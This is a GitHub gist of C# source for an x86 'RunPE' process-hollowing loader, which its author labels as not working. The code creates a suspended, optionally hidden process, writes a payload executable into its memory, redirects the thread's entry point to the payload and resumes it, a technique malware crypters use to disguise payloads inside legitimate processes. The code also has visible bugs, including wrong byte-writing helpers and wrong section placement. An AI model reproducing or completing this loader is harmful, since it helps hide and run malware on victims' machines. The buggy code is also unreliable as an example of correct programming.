Created
September 2, 2019 15:50
-
-
Save decay88/c65bd01f31873cf9c59059ad7fc8412f to your computer and use it in GitHub Desktop.
x86 RunPE prototype (not working atm)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.ComponentModel; | |
using System.IO; | |
using System.Runtime.InteropServices; | |
namespace ConsoleApp61 | |
{ | |
// something is wrong with this runpe | |
// probably has to do with the context | |
// not sure | |
public class RunPE | |
{ | |
public static void Run(byte[] payload, string target_filename, bool hidden) | |
{ | |
NativeProcess process = new NativeProcess(null, target_filename, null); | |
process.Hidden = hidden; | |
if (process.Open()) | |
{ | |
uint e_lfanew = LittleEndian.ReadUInt32(payload, 0x03c); | |
uint allocatedMemory = process.Allocate( | |
LittleEndian.ReadUInt32(payload, (int)e_lfanew + 0x018 + 0x01c), | |
//(uint)payload.Length, // instead of size of image | |
LittleEndian.ReadUInt32(payload, (int)e_lfanew + 0x018 + 0x038) | |
); | |
uint sizeOfHeaders = LittleEndian.ReadUInt32(payload, (int)e_lfanew + 0x018 + 0x03c); | |
if (!process.Write(allocatedMemory, payload, 0, (int)sizeOfHeaders)) | |
throw new Win32Exception(Marshal.GetLastWin32Error()); | |
uint numberOfSections = LittleEndian.ReadUInt16(payload, (int)e_lfanew + 0x004 + 0x002); | |
for (ushort i = 0; i < numberOfSections; i++) | |
{ | |
int addressOfSectionHeader = (int)e_lfanew + 0x0f8 + (0x028 * i); | |
// section header data | |
uint virtualAddress = LittleEndian.ReadUInt32(payload, addressOfSectionHeader + 0x00c); | |
uint sizeOfRawData = LittleEndian.ReadUInt32(payload, addressOfSectionHeader + 0x010); | |
uint pointerToRawData = LittleEndian.ReadUInt32(payload, addressOfSectionHeader + 0x014); | |
// end of section header data | |
byte[] sectionHeaderData = new byte[sizeOfRawData]; | |
Buffer.BlockCopy(payload, (int)pointerToRawData, sectionHeaderData, 0, (int)sizeOfRawData); | |
if (!process.Write(allocatedMemory + pointerToRawData, sectionHeaderData, 0, sectionHeaderData.Length)) | |
throw new Win32Exception(Marshal.GetLastWin32Error()); | |
} | |
ThreadContext context = ThreadContext.Get(process.ThreadHandle); | |
uint addressOfPEB = LittleEndian.ReadUInt32(context.Context, 0x0a4) + 0x008u; | |
if(!process.WriteUInt32(addressOfPEB, allocatedMemory)) | |
throw new Win32Exception(Marshal.GetLastWin32Error()); | |
uint addressOfEntryPoint = LittleEndian.ReadUInt32(payload, (int)e_lfanew + 0x018 + 0x010); | |
LittleEndian.WriteUInt32(context.Context, 0x0b0, allocatedMemory + addressOfEntryPoint); | |
context.Set(process.ThreadHandle); | |
process.Resume(); | |
} | |
} | |
public static void DisableFsRedirection() | |
{ | |
Wow64DisableWow64FsRedirection(ref sysWowValue); | |
} | |
public static void EnableFsRedirection() | |
{ | |
Wow64RevertWow64FsRedirection(sysWowValue); | |
} | |
public static bool IsWow64System() | |
{ | |
return Directory.Exists(Path.Combine(Directory.GetParent(Environment.SystemDirectory).FullName, "SysWOW64")); | |
} | |
[DllImport("kernel32.dll", SetLastError = true)] | |
static extern bool Wow64DisableWow64FsRedirection(ref IntPtr ptr); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
static extern bool Wow64RevertWow64FsRedirection(IntPtr ptr); | |
private static IntPtr sysWowValue = IntPtr.Zero; | |
} | |
class ThreadContext | |
{ | |
public const int Size = 0x2cc; | |
public byte[] Context | |
{ | |
get { return _context; } | |
protected set { _context = value; } | |
} | |
protected ThreadContext() { } | |
protected ThreadContext(byte[] ctx) | |
{ | |
Context = ctx; | |
} | |
public static ThreadContext Get(uint threadHandle) | |
{ | |
ThreadContext context = new ThreadContext(); | |
context.Context = new byte[ThreadContext.Size]; | |
LittleEndian.WriteUInt32(context.Context, 0x000, 0x10001b); | |
// GetThreadContext(threadHandle, context._context); | |
if (RunPE.IsWow64System()) | |
{ | |
Wow64GetThreadContext(threadHandle, context._context); | |
} | |
else | |
{ | |
GetThreadContext(threadHandle, context._context); | |
} | |
return context; | |
} | |
public void Set(uint threadHandle) | |
{ | |
// SetThreadContext(threadHandle, _context); | |
if (RunPE.IsWow64System()) | |
{ | |
Wow64SetThreadContext(threadHandle, _context); | |
} | |
else | |
{ | |
SetThreadContext(threadHandle, _context); | |
} | |
} | |
private byte[] _context; | |
[DllImport("kernel32.dll")] | |
private static extern bool GetThreadContext(uint hThread, byte[] lpThreadContext); | |
[DllImport("kernel32.dll")] | |
private static extern bool SetThreadContext(uint hThread, byte[] lpThreadContext); | |
[DllImport("kernel32.dll")] | |
private static extern bool Wow64GetThreadContext(uint hThread, byte[] lpThreadContext); | |
[DllImport("kernel32.dll")] | |
private static extern bool Wow64SetThreadContext(uint hThread, byte[] lpThreadContext); | |
} | |
class NativeProcess | |
{ | |
public uint ProcessHandle | |
{ | |
get; protected set; | |
} | |
public uint ThreadHandle | |
{ | |
get; protected set; | |
} | |
public string FileName | |
{ | |
get; protected set; | |
} | |
public string Cmd | |
{ | |
get; protected set; | |
} | |
public string Directory | |
{ | |
get; protected set; | |
} | |
public bool Hidden | |
{ | |
get; set; | |
} | |
public NativeProcess(string filename, string cmd, string directory) | |
{ | |
FileName = filename; | |
Cmd = cmd; | |
Directory = directory; | |
} | |
public void Resume() | |
{ | |
ResumeThread(this.ThreadHandle); | |
} | |
public bool Open() | |
{ | |
uint creationFlags = 0x00000004; | |
byte[] si = new byte[0x044]; | |
LittleEndian.WriteInt32(si, 0x000, si.Length); | |
if (Hidden) | |
{ | |
LittleEndian.WriteInt32(si, 0x02c, 0x00000001); | |
LittleEndian.WriteInt16(si, 0x030, 0x000); | |
creationFlags |= 0x08000000; | |
} | |
byte[] pi = new byte[0x010]; | |
bool result = CreateProcess(FileName, Cmd, 0u, 0u, false, creationFlags, 0u, Directory, si, pi); | |
if (result) | |
{ | |
ProcessHandle = LittleEndian.ReadUInt32(pi, 0x000); | |
ThreadHandle = LittleEndian.ReadUInt32(pi, 0x004); | |
} | |
return result; | |
} | |
public uint Allocate(uint address, uint size) | |
{ | |
return VirtualAllocEx(ProcessHandle, address, size, 0x00001000 | 0x00002000, 0x40u); | |
} | |
public bool Write(uint address, byte[] buffer, int offset, int size) | |
{ | |
byte[] data_buffer = new byte[size]; | |
Buffer.BlockCopy(buffer, offset, data_buffer, 0, data_buffer.Length); | |
IntPtr written = IntPtr.Zero; | |
return WriteProcessMemoryEx((IntPtr)ProcessHandle,(IntPtr) address, data_buffer, (int)data_buffer.Length, out written); | |
} | |
public bool WriteUInt32(uint address, uint value) | |
{ | |
byte[] buffer = new byte[4]; | |
LittleEndian.WriteUInt32(buffer, 0, value); | |
return Write(address, buffer, 0, buffer.Length); | |
} | |
[DllImport("kernel32.dll")] | |
private static extern bool CreateProcess(string lpApplicationName, | |
string lpCommandLine, | |
uint lpProcessAttributes, | |
uint lpThreadAttributes, | |
bool bInheritHandles, | |
uint dwCreationFlags, | |
uint lpEnvironment, | |
string lpCurrentDirectory, | |
byte[] lpStartupInfo, | |
byte[] lpProcessInformation); | |
[DllImport("kernel32.dll")] | |
private static extern uint VirtualAllocEx(uint hProcess, | |
uint lpAddress, | |
uint dwSize, | |
uint flAllocationType, | |
uint flProtect); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
private static extern bool WriteProcessMemory(uint hProcess, | |
uint lpBaseAddress, | |
ref byte[] lpBuffer, | |
uint nSize, | |
uint lpNumberOfBytesWritten); | |
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory", SetLastError = true)] | |
private static extern bool WriteProcessMemoryEx( | |
IntPtr hProcess, | |
IntPtr lpBaseAddress, | |
byte[] lpBuffer, | |
Int32 nSize, | |
out IntPtr lpNumberOfBytesWritten); | |
[DllImport("kernel32.dll")] | |
private static extern uint ResumeThread(uint hThread); | |
} | |
class LittleEndian | |
{ | |
public static void WriteInt32(byte[] arr, int offset, int value) | |
{ | |
int j = 0; | |
for (int i = offset; i < offset + sizeof(int); i++) | |
{ | |
arr[i] = (byte)((value & 0xff) >> (j * 8)); j++; | |
} | |
} | |
public static void WriteInt16(byte[] arr, int offset, short value) | |
{ | |
int j = 0; | |
for (int i = offset; i < offset + sizeof(short); i++) | |
{ | |
arr[i] = (byte)((value & 0xff) >> (j * 8));j++; | |
} | |
} | |
public static void WriteUInt32(byte[] arr, int offset, uint value) | |
{ | |
int j = 0; | |
for (int i = offset; i < offset + sizeof(uint); i++) | |
{ | |
arr[i] = (byte)((value & 0xff) >> (j * 8)); j++; | |
} | |
} | |
public static void WriteUInt16(byte[] arr, int offset, ushort value) | |
{ | |
int j = 0; | |
for (int i = offset; i < offset + sizeof(ushort); i++) | |
{ | |
arr[i] = (byte)((value & 0xff) >> (j * 8)); j++; | |
} | |
} | |
public static int ReadInt32(byte[] arr, int offset) | |
{ | |
int j = 0; | |
int value = 0; | |
for (int i = offset; i < offset + sizeof(int); i++) | |
{ | |
value |= arr[i] << (j * 8); j++; | |
} | |
return value; | |
} | |
public static uint ReadUInt32(byte[] arr, int offset) | |
{ | |
int j = 0; | |
uint value = 0u; | |
for (int i = offset; i < offset + sizeof(uint); i++) | |
{ | |
value |= (uint)arr[i] << (j * 8); j++; | |
} | |
return value; | |
} | |
public static short ReadInt16(byte[] arr, int offset) | |
{ | |
int j = 0; | |
short value = 0; | |
for (int i = offset; i < offset + sizeof(short); i++) | |
{ | |
value |= (short)(arr[i] << (j * 8)); j++; | |
} | |
return value; | |
} | |
public static ushort ReadUInt16(byte[] arr, int offset) | |
{ | |
int j = 0; | |
ushort value = 0; | |
for (int i = offset; i < offset + sizeof(ushort); i++) | |
{ | |
value |= (ushort)(arr[i] << (j * 8)); j++; | |
} | |
return value; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment